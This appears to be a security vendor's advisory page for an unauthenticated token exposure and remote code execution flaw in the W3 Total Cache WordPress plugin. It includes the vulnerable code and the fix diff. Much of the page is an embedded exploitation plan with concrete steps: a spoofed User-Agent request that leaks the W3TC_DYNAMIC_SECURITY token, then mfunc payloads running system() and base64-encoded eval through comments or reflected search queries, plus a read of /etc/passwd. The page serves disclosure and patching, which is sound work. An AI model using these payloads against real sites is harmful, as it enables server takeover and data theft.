W3 Total Cache <= 2.9.3 - Unauthenticated Security Token Exposure via User-Agent Header
Description
The W3 Total Cache plugin for WordPress is vulnerable to information exposure in all versions up to, and including, 2.9.3. This is due to the plugin bypassing its entire output buffering and processing pipeline when the request's User-Agent header contains "W3 Total Cache", which causes raw mfunc/mclude dynamic fragment HTML comments — including the W3TC_DYNAMIC_SECURITY security token — to be rendered in the page source. This makes it possible for unauthenticated attackers to discover the value of the W3TC_DYNAMIC_SECURITY constant by sending a crafted User-Agent header to any page that contains developer-placed dynamic fragment tags, granted the site has the fragment caching feature enabled. With the leaked W3TC_DYNAMIC_SECURITY token, an attacker can craft valid mfunc tags to execute arbitrary PHP code on the server, achieving remote code execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.9.3What Changed in the Fix
Changes introduced in v2.9.4
Source Code
WordPress.org SVN# Exploitation Research Plan: W3 Total Cache Token Exposure and RCE (CVE-2026-5032) ## 1. Vulnerability Summary W3 Total Cache (<= 2.9.3) contains a logic flaw where it identifies requests as "internal" if the `User-Agent` string contains the phrase "W3 Total Cache". When this occurs, the plugin's …
Show full research plan
Exploitation Research Plan: W3 Total Cache Token Exposure and RCE (CVE-2026-5032)
1. Vulnerability Summary
W3 Total Cache (<= 2.9.3) contains a logic flaw where it identifies requests as "internal" if the User-Agent string contains the phrase "W3 Total Cache". When this occurs, the plugin's output buffering and security filters—designed to strip dynamic fragment tags (mfunc and mclude)—are bypassed. This leads to the exposure of the W3TC_DYNAMIC_SECURITY token in the page source. An unauthenticated attacker can then use this token to execute arbitrary PHP code via crafted mfunc comments, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Target Endpoint: Any frontend page that renders content containing dynamic fragment tags (e.g., the homepage or a post if fragment caching is enabled).
- Vulnerable Header:
User-Agent: W3 Total Cache - Authentication: Unauthenticated.
- Preconditions:
- Page Caching must be enabled.
- Fragment Caching must be enabled.
- The page must contain at least one dynamic fragment tag (often used by themes or other plugins for dynamic sidebars/widgets).
3. Code Flow
- Request Entry: A user sends an HTTP GET request to the site.
- Internal Check: In
BrowserCache_Plugin.php, therun()method callscan_ob(). - User-Agent Validation:
BrowserCache_Plugin.php:can_ob()(line ~170) retrieves theUser-Agent.- It checks:
stristr( $http_user_agent, W3TC_POWERED_BY ) !== false. W3TC_POWERED_BYis a constant defined as"W3 Total Cache".
- Bypass: If the check returns
false(meaning the UA was detected), the plugin avoids registering output buffer callbacks (e.g.,Util_Bus::add_ob_callback). - Leakage: The W3TC engine, assuming the request is internal, skips the sanitization step that normally removes
<!-- mfunc [TOKEN] ... -->tags from the final HTML. The response is sent with the rawmfunctags containing theW3TC_DYNAMIC_SECURITYtoken. - Execution: The attacker identifies the token and crafts a new request (e.g., a comment or a post) containing:
<!-- mfunc [LEAKED_TOKEN] system('whoami'); --><!-- /mfunc [LEAKED_TOKEN] -->. - Sink: W3TC's
PgCache_ContentProcessor(in the page caching module) evaluates the PHP code inside themfuncblock because the token matches.
4. Nonce Acquisition Strategy
This vulnerability does not rely on standard WordPress nonces. Instead, it relies on the W3TC_DYNAMIC_SECURITY constant.
Extraction Strategy:
- Navigation: Navigate to the homepage or any post.
- Identification: Use the
http_requesttool with a custom header. - Execution:
# Use http_request to fetch the page with the specific User-Agent http_request "http://localhost:8080/" \ --method GET \ --headers '{"User-Agent": "W3 Total Cache"}' - Parsing: Look for the string
mfuncin the HTML source.
Format:<!-- mfunc [TOKEN] ... -->or<!-- mclude [TOKEN] ... -->.
The[TOKEN]is the value ofW3TC_DYNAMIC_SECURITY.
5. Exploitation Strategy
Step 1: Configuration Setup
W3TC must be configured to support fragment caching.
- Enable Page Cache (Disk: Basic).
- Enable Fragment Cache.
- Add a dynamic fragment to a post to ensure the token is present in the source.
Step 2: Token Leakage
Send the crafted request to discover the token.
- Request:
GET / - Headers:
User-Agent: W3 Total Cache - Expected Result: HTML containing
<!-- mfunc [TOKEN] ... -->.
Step 3: Remote Code Execution (RCE)
Submit a payload containing the token. A common way is to place it in a location that will be rendered and then cached/processed by W3TC, such as a comment or by exploiting a page that echoes back parameters.
- Payload:
<!-- mfunc [LEAKED_TOKEN] eval(base64_decode('c3lzdGVtKCd3aG9hbWknKTs=')); --><!-- /mfunc [LEAKED_TOKEN] --> - Request:
POST /wp-comments-post.php(Submit as a comment) - Parameters:
comment=[PAYLOAD]&author=attacker&email=a@b.com&comment_post_ID=[ID] - Alternative (if comments are closed): If the site echoes a search query:
GET /?s=[PAYLOAD]withUser-Agent: W3 Total Cache.
6. Test Data Setup
- Install W3TC 2.9.3:
wp plugin install w3-total-cache --version=2.9.3 --activate - Configure W3TC via CLI:
wp w3-total-cache option set pgcache.enabled true --type=boolean wp w3-total-cache option set pgcache.engine file_generic wp w3-total-cache option set fragmentcache.enabled true --type=boolean - Inject Dynamic Tag: Create a post that includes an
mfunctag in the content (this simulates a developer using the feature).wp post create --post_title="Vulnerable" --post_content="Check this: <!-- mfunc echo 'init'; --><!-- /mfunc -->" --post_status="publish"
7. Expected Results
- Success Criteria (Discovery): The HTTP response contains the raw
<!-- mfunc ... -->tag, which is normally stripped. - Success Criteria (RCE): The output of the
system()command (e.g.,www-data) appears in the HTTP response where themfunctag was placed.
8. Verification Steps
- Check Logged Value: If the payload was
system('whoami'), the response body should contain the stringwww-data. - Database Check: If the payload modified the DB (e.g.,
wp_update_user), verify via WP-CLI:wp user get admin --field=user_pass
9. Alternative Approaches
- LFI/Information Disclosure: Instead of RCE, use
file_get_contents('/etc/passwd')inside themfunctag. - Payload via Search: If comments require moderation, try injecting the
mfunctag into a search query or any other parameter that is reflected in the page output while theUser-Agent: W3 Total Cacheheader is present. If W3TC caches the search result page, it will execute the tag on subsequent visits.
Summary
The W3 Total Cache plugin (<= 2.9.3) identifies requests as internal and bypasses its output buffering and security filters if the HTTP User-Agent header contains 'W3 Total Cache'. This logic flaw leaks the W3TC_DYNAMIC_SECURITY token in the page source, which an unauthenticated attacker can subsequently use to achieve remote code execution via crafted mfunc PHP tags.
Vulnerable Code
// BrowserCache_Plugin.php:182 /** * Check User Agent */ $http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) { return false; }
Security Fix
@@ -182,13 +182,7 @@ return false; } - /** - * Check User Agent - */ - $http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; - if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) { - return false; - } + // Do not skip output buffering based on User-Agent (client-spoofable); see Generic_Plugin::can_ob(). return true; }
Exploit Outline
1. **Token Discovery**: An unauthenticated attacker sends a GET request to any page on the target site (e.g., the homepage) using the header `User-Agent: W3 Total Cache`. 2. **Extraction**: If fragment caching is enabled and the page contains dynamic fragments, the plugin bypasses its output processing, leaving dynamic fragment comments in the HTML. The attacker parses the response to extract the `W3TC_DYNAMIC_SECURITY` token found within `<!-- mfunc [TOKEN] ... -->` or `<!-- mclude [TOKEN] ... -->` tags. 3. **RCE Injection**: The attacker identifies a vector to inject a new `mfunc` tag into the site's cached content. This can be done via a comment, a search query that is reflected and cached, or any other user-controllable input that appears in the page output. 4. **Execution**: The attacker delivers a payload like `<!-- mfunc [LEAKED_TOKEN] system('whoami'); --><!-- /mfunc [LEAKED_TOKEN] -->`. When the page is processed by W3TC's page cache engine, the secret token matches, and the plugin executes the arbitrary PHP code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.